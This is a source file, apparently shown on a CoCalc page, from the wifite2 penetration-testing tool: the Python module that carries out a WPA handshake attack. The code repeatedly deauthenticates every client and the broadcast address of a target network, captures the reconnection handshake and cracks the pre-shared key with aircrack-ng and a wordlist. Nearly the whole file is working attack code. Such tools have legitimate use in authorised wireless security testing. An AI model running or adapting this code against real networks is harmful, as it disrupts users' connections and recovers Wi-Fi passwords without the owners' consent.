Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
derv82
GitHub Repository: derv82/wifite2
Path: blob/master/wifite/attack/wpa.py
412 views
1
#!/usr/bin/env python
2
# -*- coding: utf-8 -*-
3
4
from ..model.attack import Attack
5
from ..tools.aircrack import Aircrack
6
from ..tools.airodump import Airodump
7
from ..tools.aireplay import Aireplay
8
from ..config import Configuration
9
from ..util.color import Color
10
from ..util.process import Process
11
from ..util.timer import Timer
12
from ..model.handshake import Handshake
13
from ..model.wpa_result import CrackResultWPA
14
15
import time
16
import os
17
import re
18
from shutil import copy
19
20
class AttackWPA(Attack):
21
def __init__(self, target):
22
super(AttackWPA, self).__init__(target)
23
self.clients = []
24
self.crack_result = None
25
self.success = False
26
27
def run(self):
28
'''Initiates full WPA handshake capture attack.'''
29
30
# Skip if target is not WPS
31
if Configuration.wps_only and self.target.wps == False:
32
Color.pl('\r{!} {O}Skipping WPA-Handshake attack on {R}%s{O} because {R}--wps-only{O} is set{W}' % self.target.essid)
33
self.success = False
34
return self.success
35
36
# Skip if user only wants to run PMKID attack
37
if Configuration.use_pmkid_only:
38
self.success = False
39
return False
40
41
# Capture the handshake (or use an old one)
42
handshake = self.capture_handshake()
43
44
if handshake is None:
45
# Failed to capture handshake
46
self.success = False
47
return self.success
48
49
# Analyze handshake
50
Color.pl('\n{+} analysis of captured handshake file:')
51
handshake.analyze()
52
53
# Check wordlist
54
if Configuration.wordlist is None:
55
Color.pl('{!} {O}Not cracking handshake because' +
56
' wordlist ({R}--dict{O}) is not set')
57
self.success = False
58
return False
59
60
elif not os.path.exists(Configuration.wordlist):
61
Color.pl('{!} {O}Not cracking handshake because' +
62
' wordlist {R}%s{O} was not found' % Configuration.wordlist)
63
self.success = False
64
return False
65
66
Color.pl('\n{+} {C}Cracking WPA Handshake:{W} Running {C}aircrack-ng{W} with' +
67
' {C}%s{W} wordlist' % os.path.split(Configuration.wordlist)[-1])
68
69
# Crack it
70
key = Aircrack.crack_handshake(handshake, show_command=False)
71
if key is None:
72
Color.pl('{!} {R}Failed to crack handshake: {O}%s{R} did not contain password{W}' % Configuration.wordlist.split(os.sep)[-1])
73
self.success = False
74
else:
75
Color.pl('{+} {G}Cracked WPA Handshake{W} PSK: {G}%s{W}\n' % key)
76
self.crack_result = CrackResultWPA(handshake.bssid, handshake.essid, handshake.capfile, key)
77
self.crack_result.dump()
78
self.success = True
79
return self.success
80
81
82
def capture_handshake(self):
83
'''Returns captured or stored handshake, otherwise None.'''
84
handshake = None
85
86
# First, start Airodump process
87
with Airodump(channel=self.target.channel,
88
target_bssid=self.target.bssid,
89
skip_wps=True,
90
output_file_prefix='wpa') as airodump:
91
92
Color.clear_entire_line()
93
Color.pattack('WPA', self.target, 'Handshake capture', 'Waiting for target to appear...')
94
airodump_target = self.wait_for_target(airodump)
95
96
self.clients = []
97
98
# Try to load existing handshake
99
if Configuration.ignore_old_handshakes == False:
100
bssid = airodump_target.bssid
101
essid = airodump_target.essid if airodump_target.essid_known else None
102
handshake = self.load_handshake(bssid=bssid, essid=essid)
103
if handshake:
104
Color.pattack('WPA', self.target, 'Handshake capture', 'found {G}existing handshake{W} for {C}%s{W}' % handshake.essid)
105
Color.pl('\n{+} Using handshake from {C}%s{W}' % handshake.capfile)
106
return handshake
107
108
timeout_timer = Timer(Configuration.wpa_attack_timeout)
109
deauth_timer = Timer(Configuration.wpa_deauth_timeout)
110
111
while handshake is None and not timeout_timer.ended():
112
step_timer = Timer(1)
113
Color.clear_entire_line()
114
Color.pattack('WPA',
115
airodump_target,
116
'Handshake capture',
117
'Listening. (clients:{G}%d{W}, deauth:{O}%s{W}, timeout:{R}%s{W})' % (len(self.clients), deauth_timer, timeout_timer))
118
119
# Find .cap file
120
cap_files = airodump.find_files(endswith='.cap')
121
if len(cap_files) == 0:
122
# No cap files yet
123
time.sleep(step_timer.remaining())
124
continue
125
cap_file = cap_files[0]
126
127
# Copy .cap file to temp for consistency
128
temp_file = Configuration.temp('handshake.cap.bak')
129
copy(cap_file, temp_file)
130
131
# Check cap file in temp for Handshake
132
bssid = airodump_target.bssid
133
essid = airodump_target.essid if airodump_target.essid_known else None
134
handshake = Handshake(temp_file, bssid=bssid, essid=essid)
135
if handshake.has_handshake():
136
# We got a handshake
137
Color.clear_entire_line()
138
Color.pattack('WPA',
139
airodump_target,
140
'Handshake capture',
141
'{G}Captured handshake{W}')
142
Color.pl('')
143
break
144
145
# There is no handshake
146
handshake = None
147
# Delete copied .cap file in temp to save space
148
os.remove(temp_file)
149
150
# Look for new clients
151
airodump_target = self.wait_for_target(airodump)
152
for client in airodump_target.clients:
153
if client.station not in self.clients:
154
Color.clear_entire_line()
155
Color.pattack('WPA',
156
airodump_target,
157
'Handshake capture',
158
'Discovered new client: {G}%s{W}' % client.station)
159
Color.pl('')
160
self.clients.append(client.station)
161
162
# Send deauth to a client or broadcast
163
if deauth_timer.ended():
164
self.deauth(airodump_target)
165
# Restart timer
166
deauth_timer = Timer(Configuration.wpa_deauth_timeout)
167
168
# Sleep for at-most 1 second
169
time.sleep(step_timer.remaining())
170
continue # Handshake listen+deauth loop
171
172
if handshake is None:
173
# No handshake, attack failed.
174
Color.pl('\n{!} {O}WPA handshake capture {R}FAILED:{O} Timed out after %d seconds' % (Configuration.wpa_attack_timeout))
175
return handshake
176
else:
177
# Save copy of handshake to ./hs/
178
self.save_handshake(handshake)
179
return handshake
180
181
def load_handshake(self, bssid, essid):
182
if not os.path.exists(Configuration.wpa_handshake_dir):
183
return None
184
185
if essid:
186
essid_safe = re.escape(re.sub('[^a-zA-Z0-9]', '', essid))
187
else:
188
essid_safe = '[a-zA-Z0-9]+'
189
bssid_safe = re.escape(bssid.replace(':', '-'))
190
date = '\d{4}-\d{2}-\d{2}T\d{2}-\d{2}-\d{2}'
191
get_filename = re.compile('handshake_%s_%s_%s\.cap' % (essid_safe, bssid_safe, date))
192
193
for filename in os.listdir(Configuration.wpa_handshake_dir):
194
cap_filename = os.path.join(Configuration.wpa_handshake_dir, filename)
195
if os.path.isfile(cap_filename) and re.match(get_filename, filename):
196
return Handshake(capfile=cap_filename, bssid=bssid, essid=essid)
197
198
return None
199
200
def save_handshake(self, handshake):
201
'''
202
Saves a copy of the handshake file to hs/
203
Args:
204
handshake - Instance of Handshake containing bssid, essid, capfile
205
'''
206
# Create handshake dir
207
if not os.path.exists(Configuration.wpa_handshake_dir):
208
os.makedirs(Configuration.wpa_handshake_dir)
209
210
# Generate filesystem-safe filename from bssid, essid and date
211
if handshake.essid and type(handshake.essid) is str:
212
essid_safe = re.sub('[^a-zA-Z0-9]', '', handshake.essid)
213
else:
214
essid_safe = 'UnknownEssid'
215
bssid_safe = handshake.bssid.replace(':', '-')
216
date = time.strftime('%Y-%m-%dT%H-%M-%S')
217
cap_filename = 'handshake_%s_%s_%s.cap' % (essid_safe, bssid_safe, date)
218
cap_filename = os.path.join(Configuration.wpa_handshake_dir, cap_filename)
219
220
if Configuration.wpa_strip_handshake:
221
Color.p('{+} {C}stripping{W} non-handshake packets, saving to {G}%s{W}...' % cap_filename)
222
handshake.strip(outfile=cap_filename)
223
Color.pl('{G}saved{W}')
224
else:
225
Color.p('{+} saving copy of {C}handshake{W} to {C}%s{W} ' % cap_filename)
226
copy(handshake.capfile, cap_filename)
227
Color.pl('{G}saved{W}')
228
229
# Update handshake to use the stored handshake file for future operations
230
handshake.capfile = cap_filename
231
232
233
def deauth(self, target):
234
'''
235
Sends deauthentication request to broadcast and every client of target.
236
Args:
237
target - The Target to deauth, including clients.
238
'''
239
if Configuration.no_deauth: return
240
241
for index, client in enumerate([None] + self.clients):
242
if client is None:
243
target_name = '*broadcast*'
244
else:
245
target_name = client
246
Color.clear_entire_line()
247
Color.pattack('WPA',
248
target,
249
'Handshake capture',
250
'Deauthing {O}%s{W}' % target_name)
251
Aireplay.deauth(target.bssid, client_mac=client, timeout=2)
252
253
if __name__ == '__main__':
254
Configuration.initialize(True)
255
from ..model.target import Target
256
fields = 'A4:2B:8C:16:6B:3A, 2015-05-27 19:28:44, 2015-05-27 19:28:46, 11, 54e,WPA, WPA, , -58, 2, 0, 0. 0. 0. 0, 9, Test Router Please Ignore, '.split(',')
257
target = Target(fields)
258
wpa = AttackWPA(target)
259
try:
260
wpa.run()
261
except KeyboardInterrupt:
262
Color.pl('')
263
pass
264
Configuration.exit_gracefully(0)
265
266